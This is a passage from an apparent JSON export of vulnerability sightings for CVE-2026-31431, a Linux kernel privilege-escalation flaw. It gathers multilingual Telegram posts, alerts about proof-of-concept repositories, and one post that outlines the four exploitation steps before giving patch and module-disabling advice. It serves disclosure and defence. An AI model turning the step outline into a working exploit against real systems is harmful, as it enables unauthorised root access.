\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u043c\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432 \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445  \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 Linux \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f (Amazon Linux, Debian, Red Hat Enterprise Linux, SUSE \u0438 Ubuntu)\n\n\u041f\u0440\u0438\u043c\u0435\u0447\u0441\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0447\u0442\u043e Copy Fail \u043f\u0435\u0440\u0435\u043a\u043b\u0438\u043a\u0430\u0435\u0442\u0441\u044f \u0441 Dirty Pipe (CVE-2022-0847), \u0434\u0440\u0443\u0433\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e LPE \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0444\u0430\u0439\u043b\u043e\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u0447\u0442\u0435\u043d\u0438\u044f, \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438 \u0432 Bugcrowd, \u043e\u0448\u0438\u0431\u043a\u0430 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f - \u044d\u0442\u043e \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430, \u043d\u043e \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f \u043d\u0430 \u043c\u0435\u0441\u0442\u0435 2017 \u0433\u043e\u0434\u0430 \u0432 algif_aead \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043a\u044d\u0448\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043f\u043e\u043f\u0430\u0441\u0442\u044c \u0432 \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0434\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u0446\u0435\u043b\u0435\u0432\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u044f\u0434\u0440\u0430 \u0434\u043b\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 AEAD, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u043a\u0435\u0442 AF_ALG.\n\n\u041d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u0442\u0435\u043c \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c splice() \u0432 \u044d\u0442\u043e\u043c \u0441\u043e\u043a\u0435\u0442\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e \u0446\u0435\u043b\u0435\u0432\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u043a\u044d\u0448 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0444\u0430\u0439\u043b\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u043d \u043d\u0435 \u0432\u043b\u0430\u0434\u0435\u0435\u0442\u00bb.\n\n\u041e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043d\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0447\u0435\u0442\u043a\u043e \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0439 \u0433\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u044f\u0434\u0440\u0430. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u0432 Xint.io \u0435\u0435 \u0441\u0447\u0438\u0442\u0430\u044e\u0442 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0439, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d\u0430 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u0435: \u043f\u043e\u0440\u0442\u0430\u0442\u0438\u0432\u043d\u0430, \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440\u043d\u0430, \u0441\u043a\u0440\u044b\u0442\u043d\u0430 \u0438 \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u043c\u0438.\n\n\u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0443\u0440\u043e\u0432\u043d\u044f \u0435\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430. \u041e\u043d\u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0443 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432\u043e \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u0438 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u0445 Linux.", "creation_timestamp": "2026-04-30T11:37:09.000000Z"}, {"uuid": "617440b9-f58c-4ec8-91d3-91466589ed20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberSecurityIL/84118", "content": "\u05e9\u05d9\u05de\u05d5 \u05dc\u05d1 \u05dc\u05d7\u05d5\u05dc\u05e9\u05d4 CVE-2026-31431 \u05e9\u05e7\u05d9\u05d1\u05dc\u05d4 \u05d0\u05ea \u05d4\u05db\u05d9\u05e0\u05d5\u05d9 copy.fail.\n\n\u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05dc\u05de\u05e9\u05ea\u05de\u05e9 \u05de\u05e7\u05d5\u05de\u05d9 \u05dc\u05d4\u05e2\u05dc\u05d5\u05ea \u05d0\u05ea \u05e8\u05de\u05ea \u05d4\u05d4\u05e8\u05e9\u05d0\u05d5\u05ea \u05dc\u05d0\u05d3\u05de\u05d9\u05df, \u05d5\u05de\u05e9\u05e4\u05d9\u05e2\u05d4 \u05db\u05de\u05e2\u05d8 \u05e2\u05dc \u05db\u05dc \u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05de\u05d0\u05d6 2017.\n\n\u05e4\u05e8\u05d8\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd \u05db\u05d0\u05df:\nhttps://copy.fail/\n\nhttps://t.me/CyberSecurityIL/8855", "creation_timestamp": "2026-04-30T12:10:00.000000Z"}, {"uuid": "6a69a951-a178-4e51-a9bd-2b3848333ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/zaqwNqROxErLoAZPLGjrhKFpw_N1uc9fU_v0iMfTvi3pqoU", "content": "", "creation_timestamp": "2026-04-30T17:35:09.000000Z"}, {"uuid": "789663c9-b676-429d-a4b7-482b36fe80ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/uz1G0onC-r3WtTIw0HLlakU1YJEK6W_ZeyIZzJtVrph5nPM", "content": "", "creation_timestamp": "2026-05-01T05:24:17.000000Z"}, {"uuid": "c9663542-08f2-4986-accc-3f72114ac747", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82399", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a fix_CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kdjnb\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 00:57:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u7834\u574fCVE-2026-31431\u6240\u9700\u7684\u6f0f\u6d1e\u7ec4\u4ef6\uff0c\u4ece\u800c\u8fbe\u5230\u65e0\u6cd5\u901a\u8fc7CVE-2026-31431\u63d0\u6743\u3002\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T01:00:04.000000Z"}, {"uuid": "5397ede4-bb02-4217-9073-c9b785c0ddb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/ptescalator/714", "content": "Copy.Fail \ud83d\udc27\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0431\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0441 2017 \u0433\u043e\u0434\u0430 \u0438 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-31431, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u044b \u0441\u0447\u0438\u0442\u0430\u0435\u043c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u043e\u0439, \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0448\u0430\u0433\u043e\u0432:\n\n1\ufe0f\u20e3 \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u043a\u0435\u0442 AF_ALG \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 AEAD-\u0430\u043b\u0433\u043e\u0440\u0438\u0442\u043c \u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439;\n\n2\ufe0f\u20e3 \u0427\u0435\u0440\u0435\u0437 splice() \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u044d\u0448\u0430 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u0431\u0443\u0444\u0435\u0440 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438;\n\n3\ufe0f\u20e3 \u041e\u0448\u0438\u0431\u043a\u0430 \u0432 authencesn \u0434\u0430\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u044c 4 \u0431\u0430\u0439\u0442 \u0437\u0430 \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0443\u0444\u0435\u0440\u0430 \u043f\u0440\u044f\u043c\u043e \u0432 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043a\u044d\u0448\u0430;\n\n4\ufe0f\u20e3 \u042f\u0434\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 setuid-\u0444\u0430\u0439\u043b \u0438\u0437 \u043a\u044d\u0448\u0430 \u2192 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root.\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0441\u0445\u043e\u0436\u0430 \u0441 Dirty Pipe (CVE-2022-0847), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b:\n\n\u2022 pipe \u2014 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u043e\u0434\u043d\u043e\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445;\n\n\u2022 splice \u2014 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u043c\u0438 \u0434\u0435\u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0440\u0430\u043c\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0430\u043a \u043a\u0430\u043a \u0434\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0432 PT Sandbox \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u041f\u041e \u0432 \u043e\u0431\u0440\u0430\u0437\u0435 Astra Linux, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u043e\u0432\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Copy Fail \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u043b\u0430\u0441\u044c \u0432 PT Sandbox \u0435\u0449\u0435 \u0434\u043e \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u0442\u043e\u043c\u0443 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e suid-\u0444\u0430\u0439\u043b\u044b, \u043d\u043e \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0434\u0435\u043b\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u0441\u043a\u0440\u044b\u0442\u043d\u044b\u043c\u0438.\n\n\u041a\u0430\u043a \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \ud83d\udd27\n\n\u0415\u0441\u043b\u0438 \u0432\u044b \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0435 Linux-\u0441\u0438\u0441\u0442\u0435\u043c\u044b \u2014 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 \u044f\u0434\u0440\u043e. \u041f\u0430\u0442\u0447 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 a664bf3d603d. \u041e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b \u043d\u0430\u0447\u0430\u043b\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u0441 29 \u0430\u043f\u0440\u0435\u043b\u044f. \u041f\u043e\u0441\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430.\n\n\u0415\u0441\u043b\u0438 \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u2014 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430: \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead:\n\n\necho \"install algif_aead /bin/false\" > /etc/modprobe.d/disable-algif-aead.conf\n\nrmmod algif_aead 2>/dev/null\n\n#cve #tip\n@ptescalator", "creation_timestamp": "2026-04-30T14:57:47.000000Z"}, {"uuid": "eae8e270-7ae3-4621-b321-42ae800c2132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82406", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a modrosnlr5\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ROSNLR5\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 02:58:53\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nLinux Kernel LPE PoC (CVE-2026-31431)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T03:00:04.000000Z"}, {"uuid": "e49a4bf7-1364-4dd0-ac00-594f38f2d7c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82412", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ashok523\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 03:38:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nhe recently disclosed CVE-2026-31431 \u2014 also known as Copy Fail \u2014 is not something to take lightly. \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T04:00:04.000000Z"}, {"uuid": "c4b76f63-f90b-43e1-9f49-252c46319142", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/KspXoTAZwNnyoY0fEBjlny_6gTq9EiPaKDTUOSCE9_4iY-U", "content": "", "creation_timestamp": "2026-04-29T23:00:12.000000Z"}, {"uuid": "1418487a-3d27-4174-b26c-8c75938c38ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82451", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a HulnotHutu\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-02 08:48:25\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u5bf9 CVE-2026-31431 \u7684\u590d\u73b0\u5206\u6790\u3001C \u6539\u7f16\u7684 exp\u3002\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-02T09:00:04.000000Z"}, {"uuid": "ab57514e-18c6-43ae-a3de-7654c4f2e959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/VZeeypARXkvMlULXcP2IjG4vReJ0t9VhcOi0vz0KF3ybbfY", "content": "", "creation_timestamp": "2026-05-01T21:00:04.000000Z"}, {"uuid": "4ed23d9a-3616-49da-b127-07ce02c041fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/7QlwzNIR_X5g9vTBRsuXOB5NZOCwzi6d7HbUehnl_JOO7Qs", "content": "", "creation_timestamp": "2026-05-02T03:00:04.000000Z"}, {"uuid": "2166fef8-c7ef-4595-b83d-2c862ee48a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/Pn0o2pCSOYvgO1iCuzKUDmBM3bN6kcVxb6taAGbSrxeSQWE", "content": 